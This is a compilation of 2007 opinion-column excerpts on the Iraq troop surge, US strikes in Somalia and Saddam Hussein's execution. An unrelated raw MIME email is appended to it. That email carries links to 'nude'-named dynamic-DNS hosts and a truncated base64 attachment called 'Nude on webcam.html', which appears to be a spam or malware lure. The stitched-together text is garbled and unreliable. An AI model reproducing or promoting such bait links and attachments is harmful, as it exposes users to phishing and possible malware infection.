BY BRENDAN MINITER
Tuesday, January 16, 2007 12:01 a.m. EST
Following President Bush's speech last week, Afghanistan's ambassador to the
United Nations allowed himself this thought: Everything the president
proposes doing in Iraq would also be welcome in Afghanistan.

For more than five years the U.S. has waged war in that landlocked,
mountainous country. And at least since the liberation of Iraq, the White
House has faced criticism that it is distracted from the war on terror in
the country that hosted Osama bin Laden when he planned the 9/11 terrorist
attacks. The president is facing a fresh round of such attacks now that he
is "surging" American troops in Iraq in an effort to stabilize Baghdad. And
in the process he's watching as his case for using democracy as a weapon
against terrorism is swept away.

Thursday, January 11, 2007 12:02 a.m. EST
President Bush's challenge last night was to convince Americans that his new
plan to secure Iraq won't mean risking more lives on a conflict that critics
say has become "unwinnable." We think he offered compelling reasons for
skeptical Americans of good faith to back him, but the key will be deploying
enough forces to accomplish the task.

Mr. Bush's words offered the hope that the new plan won't simply mean
employing more troops to carry out a strategy that hasn't been working.
Though widely described in the press as a troop "surge" or even
"escalation," the number of additional soldiers being sent to Iraq is
significant but not overwhelming. The real difference will be how America
uses its troops in Iraq. Put in simplest terms, Mr. Bush seems finally to
have decided that the way to defeat the insurgency is to protect the
population, especially in Baghdad.

"Nothing has changed to warrant more troops now.

No Exit in Somalia
Wednesday, January 10, 2007 12:01 a.m. EST
It may be some time before we learn whether Sunday's air strikes by an
AC-130 gunship in southern Somalia succeeded in killing the terrorists who
were the intended targets--particularly Abu Taha al-Sudani, reportedly an al
Qaeda explosives expert, and Fazul Abdullah Mohammed, mastermind of the 1998
East Africa embassy bombings. But the attacks--along with the deployment of
a carrier battle group off the African coast--are welcome evidence that the
U.S. has learned the lessons of May 19, 1996.

That's the date Osama bin Laden and his associates left Sudan for
Afghanistan on a chartered plane. The Clinton Administration was aware that
Sudan intended to expel bin Laden, and the U.S. might have easily tracked
and destroyed the flight en route. The consequences of its failure to do so
is only too well known, and the Bush Administration is right to be
determined not to let terrorists get away again, whether by land, air or
sea.

We were hoping the Angry Left blogs would have an interesting take on the
Somalia strike, and we weren't disappointed. Here's a sampling:

"I don't have any facts or expertise, but it strikes me that the warmongers
have pulled a fast one by escalating in Somalia instead of Iran or Syria. By
tonight, Bush will be able to make a case that this has come up suddenly, that
they have been ready for it, that it merely demonstrates what he has been
saying about GWOT [global war on terror]."--"arper," DailyKos.com

"Well, Well Well.....it never fails. Bush is about to ask America to allow him
to escalate the war in Iraq. But whenever he needs to do something like this,
it seems like there's always a 'terror scare,' or some trumped up success, even
if it's not our own, some days before."--"sephius1," DailyKos.com

"With Bush's umpteenth Iraqi war plan set for delivery today, was yesterday's
cruise missile attack in Somalia supposed to change the subject, or score
points elsewhere while the President was on the hot seat?"--Michael Shaw,
PuffingtonHost.com

So now the war on terror is a distraction from Iraq?

San Francisco Chronicle columnist Debra Saunders notes a rather outrageous
quote from a self-styled human-rights advocate, objecting to Saddam
Hussein's execution:

Richard Dicker, director of Human Rights Watch's
International Justice Program, said in a press
statement, "The test of a government's commitment
to human rights is measured by the way it treats
its worst offenders. History will judge these
actions harshly."

What nonsense. The measure of a government's
commitment should be in how it treats its citizens.
Hussein had countless Iraqis killed without a trial.
He ordered the death of an 11-year-old boy because
he thought it was "the right of the head of state."
History will focus on his misdeeds, not on the
timely execution of a guilty despot.

Saunders is obviously right: It is perverse to consider the execution of a
mass murderer as worse than the murder of children.

Here's a curious passage from the main New York Times story on Saddam's
hanging:

Finally, he was ousted by an American-led invasion
force in 2003 and the country fell into a new round
of internal violence as THE RULE OF LAW DISINTEGRATED
and the Western invaders proved unable to control
a country in the aftermath of TOTALITARIAN RULE.

Presumably the Times didn't actually mean to equate "the rule of law"
with "totalitarian rule," but it's an interesting case of sloppiness.
Along similar lines is this from the Associated Press:

Hours after Saddam faced THE SAME FATE HE WAS
ACCUSED OF INFLICTING ON COUNTLESS THOUSANDS
during a quarter-century of ruthless power,
Iraqi state television showed grainy video of
what it said was his body, the head uncovered
and the neck twisted at a sharp angle.

BY MARK BOWDEN
Tuesday, January 2, 2007 12:01 a.m.

Now that they have hanged Saddam Hussein, perhaps we can begin to appreciate
the irony and the lessons of his demise.
Any nation is, at heart, an idea. Once people started organizing themselves
in groups...

BY BRENDAN MINITER
Tuesday, January 2, 2007 12:01 a.m.

Sometime in the next few weeks President Bush is expected to unveil a new
strategy for moving forward in Iraq. Let's hope he first takes a serious
look at the missteps that tripped up this nation in...

Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="PART_BOUNDARY_TBKJLRIKKC"

--PART_BOUNDARY_TBKJLRIKKC
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

http://nude-r-us.no-ip.info/
http://kintoesti.no-ip.info/

--PART_BOUNDARY_TBKJLRIKKC
Content-Type: application/octet-stream; name="Nude on webcam.html"
Content-Transfer-Encoding: base64
Mime-Version: 1.0

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDMuMiBGSU5BTC8vRU4iPg0K
PEhUTUw+DQo8SEVBRD4NCjxNRVRBIEhUVFAtRVFVSVY9IkNvbnRlbnQtVHlwZSIgQ09OVEVOVD0i
dGV4dC9odG1sOyBjaGFyc2V0PUlTTy04ODU5LTEiPg0KPE...